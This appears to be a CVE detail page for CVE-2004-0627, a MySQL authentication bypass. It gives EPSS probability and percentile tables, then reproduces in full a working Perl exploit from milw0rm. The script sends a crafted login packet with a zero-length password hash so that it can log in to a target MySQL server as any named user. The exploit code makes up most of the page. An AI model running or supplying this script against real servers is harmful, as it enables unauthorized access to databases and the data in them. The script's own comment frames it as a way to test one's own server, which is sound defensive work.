CVE-2004-0627 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	92.68%	–
2023-05-14	–	–	–	92.68%	–
2023-06-18	–	–	–	91.03%	–
2023-10-01	–	–	–	91.03%	–
2024-01-14	–	–	–	89.25%	–
2024-01-21	–	–	–	89.25%	–
2024-06-02	–	–	–	89.25%	–
2024-06-02	–	–	–	89.25%	–
2024-12-22	–	–	–	55.84%	–
2025-01-19	–	–	–	55.84%	–
2025-03-18	–	–	–	–	53.96%
2025-03-18	–	–	–	–	53.96,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	98%
2023-05-14	99%
2023-06-18	98%
2023-10-01	99%
2024-01-14	98%
2024-01-21	99%
2024-06-02	99%
2024-06-02	99%
2024-12-22	98%
2025-01-19	98%
2025-03-18	98%
2025-03-18	98%

#!/usr/bin/perl # # The script connects to MySQL and attempts to log in using a zero-length password # Based on the vuln found by NGSSecurity # # The following Perl script can be used to test your version of MySQL. It will display # the login packet sent to the server and it's reply. # # Exploit copyright (c) 2004 by Eli Kara, Beyond Security # elik beyondsecurity com # use strict; use IO::Socket::INET; usage() unless ((@ARGV >= 1) || (@ARGV <= 3)); my $username = shift(@ARGV); my $host = shift(@ARGV); if (!$host) { usage(); } my $port = shift(@ARGV); if (!$port) { $port = 3306; print "Using default MySQL port (3306)\n"; } # create the socket my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port); $socket or die "Cannot connect to host!\n"; # receive greeting my $reply; recv($socket, $reply, 1024, 0); if (length($reply) < 7) { print "Not allowed to connect to MySQL!\n"; exit(1); } print "Received greeting:\n"; HexDump($reply); print "\n"; # here we define the login OK reply # my $login_ok = "\x01\x00\x00\x02\xFE"; # break the username string into chars and rebuild it my $binuser = pack("C*", unpack("C*", $username)); # send login caps packet with password my $packet = "\x85\xa6". "\x03\x00\x00". "\x00". "\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc.. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; # MySQL message length + packet number (1) print "Sending caps packet:\n"; HexDump($packet); print "\n"; send $socket, $packet, 0; # receive reply recv($socket, $reply, 1024, 0); print "Received reply:\n"; HexDump($reply); my @list_bytes = unpack("C*", $reply); #print "The fifth byte is: ", $list_bytes[4], "\n"; if (length(@list_bytes) >= 4) { print "Response insufficent\n"; } #if ($reply eq $login_ok) if ($list_bytes[4] == 0 || $list_bytes[4] == 254) { print "Received OK reply, authentication successful!!\n"; } else { print "Authentication failed!\n"; } # close close($socket); sub usage { # print usage information print "\nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]\n <username> - The DB username to authenticate as <host> - The host to connect to [port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n"; exit(1); } ### # do a hexdump of a string (assuming it's binary) ### sub HexDump { my $buffer = $_[0]; # unpack it into chars my @up = unpack("C*", $buffer); my $pos=0; # calculate matrix sizes my $rows = int(@up/16); my $leftover = int(@up%16); for( my $row=0; $row < $rows ; $row++, $pos+=16) { printf("%08X\t", $pos); my @values = @up[$pos .. $pos+15]; my @line; foreach my $val (@values) { push(@line, sprintf("%02X", $val)); } print join(' ', @line), "\n"; } # print last line printf("%08X\t", $pos); my @values = @up[$pos .. $pos+$leftover-1]; my @line; foreach my $val (@values) { push(@line, sprintf("%02X", $val)); } print join(' ', @line), "\n"; } # milw0rm.com [2004-07-10]